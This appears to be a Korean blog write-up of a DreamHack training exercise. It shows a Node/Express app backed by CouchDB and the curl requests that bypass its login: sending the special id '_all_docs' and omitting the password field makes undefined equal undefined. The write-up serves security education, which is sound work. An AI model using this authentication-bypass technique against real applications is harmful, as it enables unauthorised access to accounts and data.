Information Security
[DreamHack]-WHA Exercise: CouchDB 본문
ouchDB 실습 예제
var createError = require('http-errors');
var express = require('express');
var path = require('path');
var cookieParser = require('cookie-parser');
const nano = require('nano')(`http://${process.env.COUCHDB_USER}:${process.env.COUCHDB_PASSWORD}@couchdb:5984`);
const users = nano.db.use('users');
var app = express();
// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'public')));
/* GET home page. */
app.get('/', function(req, res, next) {
res.render('index');
});
/* POST auth */
app.post('/auth', function(req, res) {
users.get(req.body.uid, function(err, result) {
if (err) {
console.log(err);
res.send('error');
return;
}
if (result.upw === req.body.upw) {
res.send(`FLAG: ${process.env.FLAG}`);
} else {
res.send('fail');
}
});
});
// catch 404 and forward to error handler
app.use(function(req, res, next) {
next(createError(404));
});
// error handler
app.use(function(err, req, res, next) {
// set locals, only providing error in development
res.locals.message = err.message;
res.locals.error = req.app.get('env') === 'development' ? err : {};
// render the error page
res.status(err.status || 500);
res.render('error');
});
module.exports = app;
분석
로그인 버튼을 클릭하면 POST 메소드를 통해 아이디와 패스워드를 /auth 페이지에 전달
get 함수를 통해 전달받은 uid에 해당하는 데이터를 조회
조회한 데이터의 upw와 이용자가 입력한 upw를 비교해 일치한다면 플래그를 출력
데이터를 조회할 때 이용자의 입력 값인 uid에 대해 어떠한 검사도 하지 않으므로 CouchDB의 특수 구성 요소를 전달할 수 있는 취약점이 있음
익스플로잇
1. 특수 구성 요소 찾기
nano 패키지의 get 함수 내부에서 전달된 입력에 특수 구성 요소가 포함되어 있는지 검사하지 않기 때문에 애플리케이션에서 직접 검사를 수행해야 함
애플리케이션에서도 입력 값을 검사하지 않기 때문에 특수 구성 요소를 사용할 수 있음
특수 구성 요소를 이용한 공격 기법
- _all_docs 페이지에 접근해 데이터베이스의 정보를 획득하는 방법
- 애플리케이션의 조건문을 만족하고 인증을 우회하는 방법
auth 기능 코드
/* POST auth */
app.post('/auth', function(req, res) {
users.get(req.body.uid, function(err, result) {
if (err) {
console.log(err);
res.send('error');
return;
}
if (result.upw === req.body.upw) {
res.send(`FLAG: ${process.env.FLAG}`);
} else {
res.send('fail');
}
});
});
uid에 해당하는 데이터를 조회하고 에러와 조회 결과를 각각 err와 result 변수에 저장
결과에 포함된 upw 키 즉, result.upw와 이용자가 전달한 upw 값이 일치하는지 비교
조회한 결과에서 upw에 해당하는 키가 존재하지 않으면 result.upw의 값은 undefined가 됨
all_docs 입력
$ curl -X POST http://host1.dreamhack.games:17032/auth -H "Content-Type: application/json" -d '{"uid": "_all_docs", "upw": "guest"}'
fails
uid에 _all_docs 특수 구성 요소를 입력하고, upw에 “guest”를 입력한 모습
특수 구성 요소를 전달했을 때 에러가 발생하지 않고, upw를 비교하는 조건문에서 일치하지 않아 “fails”가 반환된 것을 확인할 수 있음
2. 조건문 만족 값
uid에 _all_docs를 입력하고 전달하면 조회한 결과에 upw라는 키가 존재하지 않기 때문에 이는 undefined가 됨
해당 값은 정의되지 않은 값을 의미
curl 명령어를 통해 uid에 특수 구성 요소를 포함하고, upw에 “guest”를 입력한 요청에서 "fails"가 반환된 이유는 “guest”와 undefined는 일치하지 않기 때문
-> 이용자가 전달하는 upw 또한 undefined라는 값을 갖고 있어야 함
upw에 “undefined” 문자열을 삽입한 요청
curl -X POST http://host1.dreamhack.games:17032/auth -H "Content-Type: application/json" -d '{"uid": "_all_docs", "upw": "undefined"}'
fail
upw에 “undefined” 문자열을 삽입하고 요청을 보낸 모습
애플리케이션에서는 이를 “undefined”라는 단순 문자열로 판단하기 때문에 인증 조건을 만족할 수 없음
upw에 데이터가 없는 요청
curl -X POST http://host1.dreamhack.games:17032/auth -H "Content-Type: application/json" -d '{"uid": "_all_docs", "upw": ""}'
fail
upw에 어떠한 문자도 삽입하지 않고 요청을 전송한 모습
애플리케이션에서는 upw의 데이터가 비어있다고 판단하기 때문에 인증 조건을 만족할 수 없음
upw가 undefined인 요청
curl -X POST http://host1.dreamhack.games:17032/auth -H "Content-Type: application/json" -d '{"uid": "_all_docs"}'
FLAG: DH{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}
upw가 undefined인 요청을 전송한 모습
undefined는 정의되지 않은 값을 의미하므로, POST Body에 upw 키를 제거하면, 애플리케이션의 조건문에서 undefined == undefined가 성립되어 플래그를 획득할 수 있음
'INTERLUDE > Web Hacking' 카테고리의 다른 글
[DreamHack] simple-ssti (0) | 2022.05.10 |
---|---|
[DreamHack]-WHA NoSQL-CouchDB (0) | 2022.05.06 |
[DreamHack]-WHA ExploitTech: CouchDBMS (0) | 2022.04.28 |
[DreamHack]-WHA ExploitTech: MongoDB DBMS (0) | 2022.04.28 |
[DreamHack]-WHA sql injection bypass WAF Advanced (0) | 2022.04.07 |